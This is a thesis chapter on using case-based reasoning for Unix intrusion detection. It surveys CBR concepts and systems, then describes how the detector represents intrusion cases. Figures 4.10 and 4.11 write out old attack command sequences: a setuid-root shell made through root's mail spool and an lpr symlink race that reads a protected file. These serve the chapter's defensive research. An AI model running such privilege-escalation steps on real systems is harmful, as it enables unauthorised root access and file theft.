an intrusion detection system that uses in-exact and case-based reasoning techniques to
incorporate learning capability and achieve high reliability in intrusion detection. The
research is new as all existing expert system intrusion detection systems use definite
rule-based and model-based approaches which result in static systems that fail to detect new intrusions and, because of the definitive nature of rules, produce frequent false
alarms. The goals of this research are:
• To reduce false alarms by using uncertainty measures whereby risks are quantified
within in-exact terms such as 'high' and 'low'.
• To provide memory and learning abilities for the system by employing case-based
reasoning which together with uncertain reasoning allow the system to match,
retrieve and adapt previous cases of intrusions.
Parts of this chapter have been published in the Proceedings of the Twelfth Annual
Computer Security Applications Conference [54].

4,1.1 Why Case-Based Reasoning?
Case-based Reasoning ( C B R ) approach is appealing for two major reasons. First, the
process is relatively simple. It resembles the process humans use in most situations.
It allows a reasoner to copy what has been done before, even if the reasoner does not
understand what is happening. Second, cased-base reasoning provides a way of dealing with an uncertain world [107]. If it is not possible to predict what might happen
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with certainty, or if the desired knowledge is missing, we use the fact that the world is
continuous. W h a t was true yesterday is likely to be true today. Cases record the past,
giving us and our computers a way to make assumptions about the present.
The C B R approach holds key benefits with respect to solving intrusion detection
problems. It reduces the number of false alarms and also increases the number of detected intrusions in the system. It helps to incorporate uncertain reasoning in intrusion
detection system.

4.2 Overview of Case-Based Reasoning
Case-based reasoning (CBR) focuses on using the solutions to past problems in developing solutions to new problems [107]. The major advantage of this approach over
conventional rule-based expert systems is that when presented with a similar problem,
C B R systems do not re-reason from an initial set of facts and rules. Instead it uses its
memory of what worked in the past.
In case-based reasoning, new problems are approached by recalling similar ones and
moving forward from there. N e w situations are interpreted by comparing and contrasting
them with previous similar situations. Stories are understood and inferences are made
byfindingthe closest cases in memory, comparing and contrasting with those, making
inferences based on those comparisons, and asking questions when inferences can not
be made. Learning occurs as part of the process of integrating a new case into memory.
In comparison to rule-based systems, case-based reasoning offers several important
advantages:

• Case-based reasoning is intuitively appealing because it is similar to many human
problem-solving methods, particularly diagnosis and classification.
• Case-based approach enables us to handle poorly structured domains such as strategic planning, intrusion detection and engineering design in which knowledge is
very difficult to represent completely, using rules.

• In case-based reasoning learning process can be handled more easily and effectiv
Human problem-solving is based somewhat on the application of past experiences to
the current problem. Experts become experts by doing and experiencing. In rule-based
expert systems, an expert's knowledge is represented as compiled knowledge, that is,
rules of thumb, short cuts and so forth. In traditional expert systems, building and using
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reasonably complete domain models or acquiring large bodies of rules can be extremely
difficult due to inexpressive representation languages, or simply the shear volume of
knowledge.
The concept of Case-based Reasoning, on the other hand, is founded on the idea of
using explicit documented experiences to solve new problems. The current problem is
compared to a set of previous examples (cases) and the most similar case is used to
suggest a solution to the new problem. Major issues in C B R include case storage, case
indexing, case matching, case retrieval and case adaptation. A case-based reasoning
system consists of three basic components:
1. Case Base,
2. Recall Module and
3. Adaptation/Interpretation Module.
Case-based reasoning can mean adapting old solutions to meet new requirements, or
reasoning from cases to interpret or explain a new situation. Thus, in general, there are
two kinds of case-based reasoning: problem-solving and interpretive reasoning. Problemsolving C B R involves the subtasks of recalling previously known cases from memory and
adapting these cases tofitthe current problem. Examples of problem-solving tasks include design, planning and diagnosis. Old solutions can provide almost-correct solutions
and can warn of potential mistakes and failures.

N e w Situation

N e w Situation

Case

Recall

Base

Adapt

N e w Solution
Output

Output

(a)

(b)

Figure 4.1: (a) Problem-solving model of C B R , (b) Interpretive model of C B R

An interpretive reasoner uses cases to evaluate and interpret a new situation. In
pretive C B R is a process of evaluating situations or solutions in the context of previous
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experiences. Examples of interpretive reasoning tasks include classification, situation
assessment and troubleshooting. Interpretive reasoners can evaluate a solution, w h e n no
clean-cut methods are available, whose boundaries are open-ended and fuzzy.
Figure 4.1 illustrates these two C B R models diagrammatically. T h e major modules
are described briefly below:
Case-Base Module contains old cases of a particular problem domain. Each case represents the description of a previously encountered and solved problem. T h e organization
of the cases in the case-base is very important as it determines the ease of recalling cases
w h e n needed.
Recall Module simply identifies the most relevant cases to the situation. Recalling consists of two sub-steps: retrieve previous cases and select the best subset. T h e recalled
cases serve two kinds of purposes: to provide suggested solutions to problems and to
provide context for understanding or assessing a situation. Since case-based approach
involves finding similar cases from the case-base and using them to find solutions for
new situations, retrieving and selecting cases play critical roles in case-based reasoning.
Adaptation is the process of fixing an old solution to meet the demands of the new
situation. A n u m b e r of strategies have been identified for adaptation, including insertion,
deletion and substitution.
Interpretation is the process of comparing the new situation with recalled cases. W h e n
problem situations are interpreted, they are compared and contrasted to old problem
situations. T h e result is an interpretation of the new situation, the addition of inferred
knowledge about the n e w situation, or classification of the situation.
T h e construction and organization of a library of cases (case base) is a critical task.
T h e cases in the library must be indexed to allow for efficient retrievals. H o w these
indices are expressed is a key issue in case-based reasoning because if they are defined
too broadly, too m a n y cases m a y be retrieved as similar to the problem. Conversely, if
they are expressed too specifically, there m a y be no case deemed similar.
With this library of pre-analyzed cases, a new problem is considered by first representing it in the s a m e form as the stored cases and then matching it against stored
cases to find the most closely matching cases. If there is a closely matching case with
a successful solution, that solution is copied or adapted to fit the new problem. T h e
adaptation can be performed with specially designed adaptation functions or rules.
If possible, the system obtains additional information about the success or failure of
the n e w solution from the user. Then, the new case can be added to the case library to
help solve the s a m e kind of problem again in the future (learning procedure).
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Thus the main technical steps in building a case-based reasoning system are
1. designing the representation,
2. selecting and implementing the indices,
3. designing the matching method, and
4. developing the rules for adapting existing solutions to new problems.

Input

Indexing

1. Assign

Rules

Indices
Input + Indices

Case
2. Retrieve
Memory
Prior Solution
5b. Store
3. Modify

Proposed Solution
Sa. Assign
Indexes
4. Test
New
Working Solution
Failure Description
Predictive
Features

Solution

Causal
6a. Explain
Analysis

Figure 4.2: Case-based reasoningflowchart(Reproduced from [162]).

A very general flowchart of a case-based reasoning system is illustrated in Fi

[162].

4.2.1 C B R vs. RBS
Second generation expert systems tend to combine multiple representations, inference
strategies and learning methods within a single system so that different paradigms can
complement each other. The conventional rule-based approach has the advantage of
simplicity, uniformity, and proven records of handling heuristic knowledge effectively.
However, rule-based expert systems have limited capability in self training.
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O n the contrary, case-based reasoning has the advantages of eliminating the most
difficult knowledge acquisition task, and more importantly learning by accumulated experience or cases. However, the indexing, searching and adaptation of cases are quite
complex and are also expensive in terms of run-time performance. So, one possible
solution is to combine the case-based and rule-based approach in such a way that accumulated cases in the case base can be generalized as rules. In such situations, the expert
system is able to use rules to establish patterns, if they are available, and delegates the
problem to the case-based reasoner only when it cannot be handled by the rule-based
component. Table 4.1 gives a comparison of case-based and rule based reasoning.
Criterion

Rule-based Reasoning

Case-based R e a s o n i n g

Knowledge unit
Granularity
Knowledge acquisition units
Explanation mechanism
Characteristic output
Knowledge transfer
across problems
Speed as a function of
knowledge base size
D o m a i n requirements

Rule
Fine
Rules, hierarchies
Backtrack of rule firings
Answer, plus confidence measure
High, if backtracking
Low, if deterministic
Exponential, if backtracking
Linear, if deterministic
Domain vocabulary
Good set of inference rules
Either few rules or
Rules apply sequentially
Domain mostly obeys rules
Flexible use of knowledge
Potentially optimal answers

Case
Coarse
Cases, hierarchies
precedent cases
Answer, plus precedent cases

Advantages

Disadvantages

Computationally expensive
Long development time
Black-box answers
Difficult to acquire rules

Low
Logarithmic, if index tree
balanced
D o m a i n vocabulary
Database of example cases
Stability - a modified good
solution is still good
M a n y exceptions to rules
Rapid response
Rapid knowledge acquisition
Explanation by examples
Suboptimal solutions
Redundant knowledge base

Table 4.1: Comparison of Case-based and Rule-based Reasoning.
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Case-Based Reasoning Concepts

Several properties of cases are:
• A case represents specific knowledge tied to a context. It records knowledge at
operational level.
• Cases can come in many different shapes and sizes, covering large or small time
slices, associating solutions with problems, outcomes with situations, or both.
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• A case records an experience different from what is expected. Cases worthy of
recording teach a useful lesson. Useful lessons are those that have the potential
to help a reasoner achieve a goal or set of goals easier in the future or that warn
about the possibility of a failure or point out an unforeseen problem [107].

The two major parts of a case are: the lesson(s) it teaches and the context in whi
can teach its lesson(s). The lesson it teaches comprise the case 'content'; the context in
which it can teach those lessons are its 'indices'. Indices record under what circumstances
it is appropriate to retrieve the case.
This section discusses the following issues:
1. What is in a case.
2. How a case is represented.
3. What formalisms and methodologies are appropriate for representing cases.
4. How the cases are organized and indexed in the memory.
5. How the cases are matched, retrieved, ranked and selected.
6. How the selected cases can be used to evaluate the new situation.
7. H o w the new knowledge can be incorporated in the case memory (case update and
learning).

4.3.1 Case Representation
W h a t is in a case?
There are many schemes for organizing information in a case. In its simplest form, a
case is a list of features that lead to a particular outcome. For example, a personal loan
from a bank and whether or not the loan was approved, or a patient history and the
associated diagnosis. In its complex form, a case is a complex entity that needs to be
broken into subcases that form the problem solving structure. For example, the design
of an airplane or building. The design is made up of subdesigns of the components, each
of which could be considered a case unto itself.
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Case Representation S c h e m a
In order for a knowledge system to use domain specific knowledge, it must have a
language for representing that knowledge. The basic criterion for a knowledge representation language follows [65]:
• Expressive power: Experts should be able to communicate their knowledge effectively to the system.
• Understandability: Experts must be able to understand what the system knows.

• Accessibility: The system should be able to use the information it has been given

The representation of the contents of each case defines how the information about a
case is organized either as a set of attribute-value pairs, part-subpart relationships, or
a network of attributes [137]. Representing a case as attribute-value pairs, illustrates
the relevant decisions in the previous case and the specific values associated with each
decision. Representing a case as a hierarchy of part-subpart relationships facilitates
representation and reasoning about large and/or complex cases. The hierarchical representation includes relationship knowledge. The network-based representation of cases
can build upon the hierarchical representation with multiple attribute-value pairs in each
node and allowing additional types of relationships to be represented, or it can be similar
to a semantic network where the nodes in the network represent a single feature of the
case.
The representation of a case is usually generalized for all cases in the case memory,
so that all cases are described by the same set of attributes or sub-part relationships, or
all cases are described as networks of attributes. In this way, the organization of cases
in the case memory provides a template or model for defining the content of a case and
for adding new cases to an existing case memory. This stage in the development of a
case-based reasoning system results in a clearer definition of the contents of the case
memory and the representation schema relevant to a case-based reasoning solution to a
class of problems.
Case-based reasoning systems represent cases in a variety of ways including, frame
representation [66], semantic network representation [160] and conceptual structure [178].

Frame-Based Representation
Representing knowledge about some aspect of the world is fundamental to most AI
systems. This is true of all kinds of AI systems: expert systems, natural language
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interfaces, text understanding systems, etc. It is also true for all kinds of domains over
which these systems operate.
Over the last 35 years the AI community has devised and experimented with a variety
of special purpose languages for representing knowledge [66]. These languages attempt
to provide AI programmers with a tool to ease the task of encoding domain knowledge
and allow the system to effectively and efficiently use this knowledge.
Although no single representation language is likely to be optimal or even satisfactory
for all types of systems or domains, a small number of generic types of representation languages have been found to have very attractive properties for a wide class of applications.
Frame-based representation languages (FBRLs) form one of these classes.
Representing knowledge in graph-like structures has a rich tradition in philosophy
and psychology. At the end of the nineteenth century, the philosopher C. S. Pierce used
a graph-like notation for the representation of logical sentences [125]. This approach
to representing human knowledge has been further pursued since by many researches,
yielding explicit psychological models of human memory and intellectual behavior. In
particular, the area of natural language processing has contributed much to the research
on the representation of information in graph-like structures, These graph-like structures
are usually called semantic nets or associative nets. In fact, the earliest use of graphbased representations in computers was for machine translation. R. Quillian [160] for
example, in the early 1960s, used the semantic net formalism for representing meanings
of English words in terms of associative links to other words, yielding a dictionarylike representation; he developed a program forfindingrelationships between words by
traversing the net. Through this work, Quillian has given a major impetus to the research
on graph based representations and their use in AI systems. H e is generally credited
with the development of the semantic net in its original form.
A semantic net is usually depicted as a labeled directed graph, consisting of vertices
and labeled arcs between vertices; such a graph is sometimes further restricted by the
requirement to by acyclic [125]. Several disciplines have influenced the original idea of
a semantic net as it was introduced in the 1960s; each discipline has brought its own
interpretation of the vertices and arcs and each discipline has adapted the notion of the
semantic net in certain ways to arrive at a more structured formalism suitable for its
own purpose. As a consequence, there is hardly any consensus as to what a semantic
net is, nor is there any consensus as to what meaning should be ascribed to the basic
elements of such a semantic net.
As mentioned before, a semantic net is usually depicted as a labeled directed graph.
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Each vertex in the graphical representation of a semantic net is taken to represent
a concept. The arcs of the graph represent binary relations between concepts. The
following example shows how knowledge is represented in a semantic net.
Example 4.1 Consider the following statement concerning computer users:
'Students are part of computer users.'
This statement comprises two concepts: the concept 'students' and the concept 'computer users'. These concepts are related in the sense that thefirstconcept, the 'students',
forms a part of the second concept, the 'computer users'. This knowledge is represented by means of the graph shown in Figure 4.3. The concepts are depicted by ellipses,
labeled students and computer users; the relation between the concepts is represented
by means of an arc labeled part-of.
Part-of

/*

K

~~^\

Computer Users J

Figure 4.3: A graphical representation of a semantic net.

For handling more complicated problem domains and for dealing with more sophisticated forms of inference, the semantic net formalism, as devised by Quillian, soon proved
to be too limited. M u c h of the later work on semantic nets has therefore been directed towards more structured formalisms, again mostly for natural language processing.
Semantic nets have seldom been used for building expert systems. Nevertheless, some
characteristics of the formalism shall briefly be discussed, since the semantic net is often
viewed as a precursor of the frame formalism, which is applied much more frequently
within expert systems.
The basic idea underlying the notion of frames has already been posed at the beginning of this century by the psychologist 0. Selz [125]. H e considered human problem
solving as the process of filling in the gaps of partially completed descriptions. The
present notion of frames was introduced in the mid-1970's by M . Minsky [142] for exerting semantic control in a pattern recognition application. Since its introduction, however,
the frame formalism has been employed in several other kinds of knowledge-based systems as well. The general idea of the frame-based system is that all knowledge concerning
individual^ classes of individuals, including their interrelationships, is stored in a complex entity of representation called a frame. Instead of the term frame, the terms unit,
object and concept are often used in the literature. A set of frames representing the

77

4.3. Case-Based Reasoning Concepts

knowledge in a domain of interest is organized hierarchically in what is called a taxonomy. Such a taxonomy forms the basis of a method of automated reasoning called
inheritance.

<Frame-name>
<slot-l>:
<facet-l>: <value-l>, . ., <value-n>
<facet-2>: <value-l>, . ., <value-n>

<facet-k>: <value-l>, . ., <value-n>

<slot-m>:
<facet-1 >: <value-l>, ..., <value-n>
<facet-2>: <value-l>, ..., <value-n>

<facet-k>: <value-l>, ..., <value-n>

Figure 4.4: A typical Frame.

FBRLs are essentially object-oriented languages in which representation consists o
a set of frames. In most F B R L s , a frame can represent either an individual object in
the domain (for example, George Washington, the integer three, the king of France in
1685, the largest prime number, the U N I X copy command) or a generic class of objects
(for example, U S Presidents, positive integers, heads of European states, prime numbers
greater than 100, U N I X commands). Note that representing an individual does not imply
its existence in any possible world.
F B R L s typically have a number of features that distinguish them from other representational systems, which are:
Generalization hierarchy. The frames are organized into a generalization hierarchy
in which frames inherit information from their ancestors.
Slots. A frame has a number of subunits, called slots, which can take on values or
describe, in general terms, constraints on what their values can be.
Limited reasoning services. The functions for creating, modifying, and accessing
the representation provide a limited number of reasoning functions, such as attribute
inheritance, default reasoning, constraint checking and classification of new frames.
The core of a representation is a collection of frames organized into a generalization/specification hierarchy (also commonly referred to as an abstraction hierarchy or
taxonomy) defined by primitive directed links. A typical frame is illustrated in Figure
4.4.
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Frame based languages provide a structured representation of an object or class of
objects. For example, one frame might represent a computer user, and another a whole
class of computer users (See Figure 4.5). Constructs are available in a frame language
for organizing frames that represent classes into taxonomies. These constructs allow a
knowledge base designer to describe each class as a specialization (subclass) of other
more generic classes. Thus, students can be described as users plus a set of properties
that distinguish them from other computer users.

Bob
Staff Members
Jane

Computer Users
Students

Figure 4.5: A n example of a frame hierarchy for computer users class.
The advantages of frame languages are considerable, they capture the way experts
typically think about much of their knowledge, provide a concise structural representation of useful relations (which makes the classification, retrieval and matching jobs much
easier), and support a concise definition-by-specialization technique that is easy for most
experts to use. In addition, special-purpose deduction algorithms have been developed
that exploit the structural characteristics of frames to rapidly perform a set of inferences
commonly needed in knowledge-system applications.
However, frames also have some disadvantages:
1. frames handle descriptive knowledge efficiently, but fail to handle heuristic knowledge.
2. A large network of frames is difficult to understand and maintain.

4.3.2

Case Indexing

A case-based reasoning system derives its power from its ability to retrieve relevant
cases quickly and accurately from its memory. The indices of a case designate in what
circumstances the case should be retrieved. Considering every case as teaching a set of
lessons, indices represent the circumstances under which a lesson should be taught.
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In a case-based system indexing can be done using one or a combination of the
following methods:
1. Flat memory with preferences. This method uses 'nearest neighbor matching'
algorithm. In this method, cases are stored sequentially in a simple list and the
retrieval process can take care of the constraints.

2. Inductive learning. This method uses different inductive learning algorithms, su
as C4.5, to capture meaningful indices from the cases and arrange them in the
memory properly.
3. Knowledge guided indexing. In this method an expert helps to index the cases
(expert selection) or a rule-based system can be used to index the cases.

4.3.3

M e m o r y Organization

Cases can be organized in the memory in several ways:
• Flat Memory Structure
- List of cases: Cases are stored sequentially in a simple list, an array or a file
(see Figure 4.6). To do this, one can get the name of all the cases, store these
names in a list, array or a file. Cases are retrieved by applying a matching
function sequentially to each case in the memory. This method is expensive
when the case library is very large.
- Feature-based: A set of key features of the domain are used as indices. Key
features used to discriminate cases are identified based on the representations
of cases and/or domain. Then the cases are partitioned into subsets and each
subset is pointed by one key feature. The key features are stored as a list,
an array or in afile.During case retrieval, only those cases that have the
features of the new problem are searched and matched.

Figure 4.6: Flat Memory Organization of cases
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• Hierarchical M e m o r y Organization
W h e n a case m e m o r y is very large, there is a need to organize cases hierarchically
so that only some small subset need to be considered during retrieval (see Figure
4.7). The hierarchical structure for case indices can be automatically derived using
conceptual clustering methods.

Feature 1

Feature 4
[Case 3)

(Case l)

(Case 2)

(Case 5)

(Case 4)

Figure 4.7: Hierarchical Memory Organization of cases

4.3.4

Case Matching and Retrieval

Recalling a case from the case memory is a pattern matching problem that is based on
the specification of a new problem. A new problem may be specified as a set of attributevalue pairs, as a set of constraints or conditions on the values of each attribute, or as
network of attributes. Given a specification, the recall process can be decomposed into
three tasks [137]:
1. match,
2. retrieve, and
3. select.
Case matching is the process of comparing the new problem and a stored case and
determining their degree of match. It is important to consider cases that are similar but
not exact matches. Case retrieval is the process of recalling relevant cases from case
memory when given the new problem situations.
In order to index cases in the case memory the specification of a new problem is
transformed into a pattern to be matched. The pattern may be taken directly as the
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system receives the specification or it m a y be modified, for example, to include an order
of importance of the attributes.

4.3.5 Case Ranking and Selection
Ranking is the process of ordering partially matched cases according to goodness or
usefulness of the match. In the selection process the case(s) contributing most to the
final solution is selected. In other words, the selection task in C B R orders the retrieved
cases to determine which case is the best match. The selection process on the pattern
used to index the case memory. If the pattern is a set of weighted features and each
retrieved case is ranked according to the weight of matching features, selection is based
on the retrieved case with the highest ranking. If the pattern is simply a set of features,
then selection is based on the case with the most features in c o m m o n with the indexing
pattern. Selection is the result of ranking of the retrieved cases, where there are more
than one matching the case.

4.3.6 Case Adaptation
In some problem areas a selected case m a y provide a solution to the new problem. For
example, when using a case-based reasoning approach to determine if a loan should be
approved, the retrieved case provides a solution: approve or disapprove. In some other
situations, however, the selected case m a y need a modification to be appropriate as a
solution to the new problem. This modification is referred to as adapting a case.
Adapting a case from the case memory to solve a new problem requires additional
knowledge. The form this knowledge takes depends on how adaptation is done. One
approach to adaptation is to identify those attributes of a case that can be changed
and associate a formula with each adaptable attribute to be evaluated during adaptation. Another approach to adaptation is to associate a set of constraints with the case
memory that must be satisfied when adapting a case. These two approaches are known
as parametric adaptation and constraint satisfaction [137].

4.4 Current Applications of CBR

Recently many CBR.systems have been developed for a range of domains [107]. In thes
systems the computer acts to augment human memory by retrieving cases but takes a
fairly passive role in this process. It retrieves what it is asked to retrieve. Some systems
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also have analysis capabilities built in that draw generalizations based on the retrieved
cases. In these systems both the cases and the generalizations drawn from them are
available to the user. Figure 4.8 shows some of the current C B R systems and their
domains.
CSI Telex Classifier

Classification

B U R N Sizer

HYPO

Evaluation by
Comparison

Some C B R
Applications

Explanation by
Anomalies

SWALE

Anomalous Events

CASEY

Heart Failure

PERSUADER
MEDIATOR
JULIA
CLAVIER
CSI Battle Planner
CHEF
Execution ,
Real-Time

Patent L a w
Criminal Sentencing

CASECAD

Design

Computer Resources

JUDGE

VMS Diagnoser

, Goal-Driven

Bank Telexes

PLEXUS
G T E Traffic Controller

System Crashes
Multimedia Design
Labour Contracts
C o m m o n Sense Disputes
Catering
Autoclave Load Config
Land Warfare
Recipes
Plan Repair
Telephone Routing

Figure 4.8: Various C B R applications and systems

Some main types of problems for which CBR has been found useful include:
1. Planning: CHEF is a case-based meal planner [79, 80, 81]. It operates in the
domain of recipe planning and takes as input a conjunction of subgoals that it
needs to plan a dish. Its output is a recipe satisfying the given constraints and
subgoals. C H E F tests the proposed recipes by simulating their outcome. If the
recipe fails, explanation is given as to why it failed. The main knowledge source
includes a case database consisting of past recipes, a set of rules for a simulator,
rules for predicting failures in advance, a set of strategies for repairing failed plans
and a set of rules for adapting plans.
One thing which should be considered is the classifications C H E F uses to categorize
its failures. CHEF's explanations are in terms of causal relationships between goals,
plans and steps of plans that provide a general vocabulary for describing general
planning situations. These situation descriptions function similarly to the critics in
H A C K E R [184] and N O A H [166], though they are more flexible than those critics.
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Each describes a general plan failure situation and points to a variety of strategies
for repairing that sort of failure. The major difference between these structures,
called T O P [78,167], and the critics in N O A H and H A C K E R is that T O P organizes
information about these kinds of situations, whereas critics are rules that associate
one repair with each failure type.
2. Diagnosis: CASEY [109, 108, 110] is a case-based medical diagnose for heart
disease. Its task is to analyze descriptions of patients with heart disease and to
produce a diagnostic explanation of the patient's heart disease symptoms. As input
it takes a description of its new patient, including normal signs and presenting signs
and symptoms. Its output is a causal explanation of the disorders the patient has.
The causal explanation connects symptoms and internal states together.
C A S E Y diagnoses patients by applying model-based matching and adaptation
heuristics to the cases it has available. It has a case library of approximately
twenty-five cases, all of which were diagnosed by the Heart Failure Program [120].
C A S E Y is built on top of the Heart Failure Program, a model-based diagnostic
program that diagnoses heart failures with unprecedented accuracy. CASEY's
model-based matching and adaptation heuristics are domain-independent and are
as accurate as the domain model they are applied to.
P R O T O S [22, 21, 157] is another diagnosis case-based reasoning system. It implements both case-based classification and case-based knowledge acquisition. Given
a description of a situation or object, it classifies the situation or object by type.
W h e n it misclassifies an item, its expert consultant steps in and informs P R O T O S
of its mistake and what knowledge it needed to classify the item correctly. P R O TOS's domain of expertise is audiological (hearing) disorders. Given a description
of the symptoms and test results of a patient, it determines which hearing disorder
the patient has.
3. Design: C A S E C A D [19, 138, 137] is an integrated multimedia case-based system
for structural design applications. It combines traditional computer-aided design
techniques with case-based reasoning. It is a domain-independent designer's assistant that can incrementally acquire design knowledge from past experiences in
the domain. A significant feature of C A S E C A D is its ability to store and utilize
design cases in both textual and graphical modes. Since designers often use different forms of representation to record design information, the system stores design
cases using multimedia.
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Another system, C L A V I E R [23, 139, 87] is for designing the layout of composite
airplane parts for curing in an auto-clave. It is up and running at Lockheed in
California. Given a list of parts that need curing as input, it designs the layouts
for several loads of the auto-clave that will cure all the parts, getting as many of
them cured on time as possible.
JULIA [88, 89, 91, 90] is another case-based designer that works in the domain of
meal planning. As in other design domains, problems are described in terms of
constraints that must be achieved.
4. Law: HYPO [16, 15] is an interpretive reasoner that works in the domain of law.
It is the earliest of the interpretive case-based reasoners, and over its lifetime, it
has become one of the most sophisticated. H Y P O takes a legal situation as input,
and creates an argument for its legal client as output. It can take the defendant's
or the plaintiff's side in a dispute and is equally good at creating arguments for
either.

4.5 Case-Based Reasoning for Intrusion Detection

The overall structure of an intrusion detection case-based reasoner is shown in Fi
4.9. The input to this system is the audit trail produced by the operating system and the
output is the different measures and actions that the system takes based on the severity
of the intrusion it encounters on the system.
The system maintains two external interfaces: one interface from which audit records
are input to the IDS module, and one interface from which the IDSfindingsare output to
the system administrator. At the top level, the system consists of the following modules
as shown in Figure 4.9:
• Audit records
• Rule-based system
• Case-based reasoner
• Action table
• Audit record storage
Audit Records: Audit records are the raw data from Audit Event Log File (see Appendix
A). The records are of varying size depending on the record type.
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Case-Based Intrusion Detection System
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Figure 4.9: The overall structure of the intrusion detection case base reasoner.

Case-Based System: This unit is the case-based reasoning sub-module. It contains t
case library and the algorithms for case-based reasoning.
Action Table: This module contains all the measures the system will take under various
conditions.
Audit Record Storage: This module is a storage of all the higher-level representation of
the audit data supplied to the IDS module by the audit translator module. The system
keeps this data for further references and possible formation of new cases based on new
intrusion scenarios.
Audit Translator: This unit is a preprocessor for processing the raw audit data and converting them into higher-level representation of the audit data. It is simply a formating
algorithm that maps the low-level audit data into the groups of actions and inputs them
into the IDS module.
Case entry Module: System Security Officer uses this module to enter new cases, based
on new intrusions, in the case base or edit existing cases in the case base.

4.5.1 Issues in Case-Based Intrusion Detection (CBID)
Case Acquisition
Here the aim is to apply case-based reasoning to intrusion detection. Because the computers connected to publicly accessible networks (e.g., Internet) are widely using U N I X
operating system, the focus was on intrusions reported on different flavors of U N I X .
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The knowledge in the cases come from previously known successful intrusion scenarios. Acquiring previous cases is a very difficult task since only system administrators,
system security officers and hackers have the knowledge. The first two groups of people
do not tend to share this information since they are afraid of introducing the would-behackers to vital information. The latter also do not share the information with others
unless they prove that they have something to share with the hackers in return.
Several different published theses and technical reports have been consulted to find
some known intrusion scenarios [155, 51, 112, 93]. This explains why most of these
scenarios are for B S D U N I X rather than Solaris and SunOS. So far, about 20 cases have
been gathered. The most c o m m o n criteria for a sequence of actions to be classified as
an intrusion is that at the end of the sequence the intruder gains access/privileges that
s/he was not supposed to have before, or is against the security policy of the site.
Once the cases are gathered, they have to be converted into a format that the casebase reasoner can interpret properly. Figure 4.10 shows two intrusion scenarios as they
have been documented previously.

Step
1.
2.
3.
4.
5.
1.
2.
3.
4.

Command
cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root

-

assumes no root mail file
m a k e setuid file
create empty file
mail the empty file to root
execute setuid-to-root shell

touch x
lpr -s x
rm x
In -s secretfile x

-

create any file
have a spooler create a symbolic link to x
remove the decoy file
create a link to the secretfileyou really
want to print

Comment

Figure 4.10: T w o intrusion scenarios

The first example in Figure 4.10 illustrates a flaw within mail(l) utility which a
an attacker to gain access to a shell with root privilege. However, the real compromise
is that of thefileforgery (or access permission forgery). The security flaw arises when,
in step 4, mail(l) fails to reset the setuid bit of /usr/spool/mail/root after it sets the
file's U I D to root and expands 'x' to it. Therefore, the attacker need only to execute
root's mail file to gain the access to a shell with root privileges (Note, the header for 'x'
will be taken as part of the symbol table of csh or sh).
The second example in Figure 4.10 illustrates how an attacker m a y gain read access
to any printablefileon a host. This is done by having the printer daemon perform an
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access check on afilethat is readable to the attacker, then substituting thisfilewith
another file which is not readable to the attacker. Before performing step 2 the attacker
makes sure there are jobs waiting in the printer queue. This is to make sure there is time
to perform steps 3 and 4 before 'x' is printed.

4.5.2 High Level Representation of Intrusions
To alleviate the high dependency of the IDS on the actual audit records, higher level
representation of intrusions are required. To solve this problem, two approaches, modelbased and state-based have been proposed. In the model-based approach, proposed by
Garvey and Lunt [71] using Gister [122, 124, 191], each intrusion is associated with a
collection of observable activities. The system looks for these observables and attaches
likelihood to each hypothesized scenario. Gister uses evidential reasoning to produce
and update belief measures for each intrusion scenario.
In S T A T [155, 156], penetrations have a graphical representation in terms of states
and transitions. The main premise is that, in an intrusive activity, an intruder starts
from an initial state with a minimum level of access and, by performing a sequence of
actions, moves to a final state in which he has gained privileges previously unavailable.
By analyzing a scenario it is possible to identify signature actions crucial for the success
of an intrusion. A Unix implementation of S T A T , called U S T A T [93, 94], stores state
transition diagrams as part of a rule-base. The main difficulty with this approach is
determining signature actions for an intrusive scenario and defining a compromised state
in terms of attributes and observables of the system. This is especially true because useful
observables are those that are recorded by the audit record generation mechanism of the
system.
Although rule-based expert systems are sufficiently powerful to handle complex problems, they demand the knowledge about the problem area to be reduced into a set of rules.
This is considered as a bottle-neck of the development process. Case-based reasoning
[107] has been developed to alleviate some of the problems with rule-based systems.
In case-based approach to intrusion detection we use class representation of Unix
commands. Each class covers commands with the same features and abilities.

4.5.3 Case Representation
In intrusion detection case base reasoner, a case contains a list of commands that lead
to an unauthorized access. The case should contain information about the importance
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of each part of the intrusion sequence. The essential parts of a case in this system
are the description of the situation that is being monitored and the interpretation and
recommended action to prevent the intrusion from its completion. In this system, each
case contains three different parts as shown in Table 4.2.

Part

Description

Example-Scenario
Intrusion_Seq

This part gives an instance of the class of intrusion
scenario given in Description part
This part contains equivalent sequences of the intrusion.

Description

This part gives a description of a class of intrusions.

Table 4.2: Description of four different parts of a case.

E x a m p l e -Scenario:

Thefirstpartition of each case is an optionalfieldwhich gives

an instance (or an example) of the class of intrusions that can be addressed by the case.
This partition is not required for correct performance of the system, however it helps
the system administrator to gain further knowledge of the situation. The example is
included exactly as it has been recorded previously using normal Unix commands. It
does not represent commands using their class representations. This partition is referred
to as EXAMPLE-SCENARIO

in each case.

Intrusion_Seq: The second partition of each case contains some information about
the other equivalents to the scenario and how important is the order of the sequence.
This is because an intruder requires to go through several commands before successfully
completing the intrusion and the events are required to be in order. However, some of
the events can occur in a different order. For example, if the scenario involves creating
a newfile,it can be created anytime before it is needed. This partition is referred to as
INTRUSION-SEQ

in each case.

Description: The last partition of each case, referred to as DESCRIPTION, gives
information about each action in the sequence which will cause the intrusion to succeed.
It covers the commands that the user executes on the system. Since there are several
commands on the Unix operating system to perform a particular task, the class definition
for each c o m m a n d is used for this partition. It also contains the option and object fields
of each c o m m a n d to prevent the system from false alarms.
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The followings are some notations and definitions which are necessary to follow the
rest of this thesis. A n intrusion scenario is defined as:

Definition 4.1 An intrusion scenario 7 is a sequence of actions (ATI) performed by
or more users which results in an unauthorized access to the system and its resources,
and can be represented as 7 = ATlx, ATl2, ATl3, •••, A7ln.

It is possible to obtain an equivalent intrusion scenario by means of using equival
commands from the same class of ATI's. Figure 4.11 shows two equivalent scenarios
which will do the same job.

Attack 1

Attack 2

cat /bin/csh /usr/spool/mail/root
c h m o d 4755 /usr/spool/mail/root
jove x
elm root < x
exec /usr/spool/mail/root

cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root

Figure 4.11: T w o equivalent attack scenarios.

Definition 4.2 Two intrusion scenarios 71 andj2 are equivalent if one is obtained from
the other by using equivalent commands. By equivalent commands we mean

commands

which belong to the same class.

Name of action class
DUPLICATE
FILEXREATION
FILE-MOVING
PRINT
LINK
ACCESS.CONTROL
MAIL
DEBUG
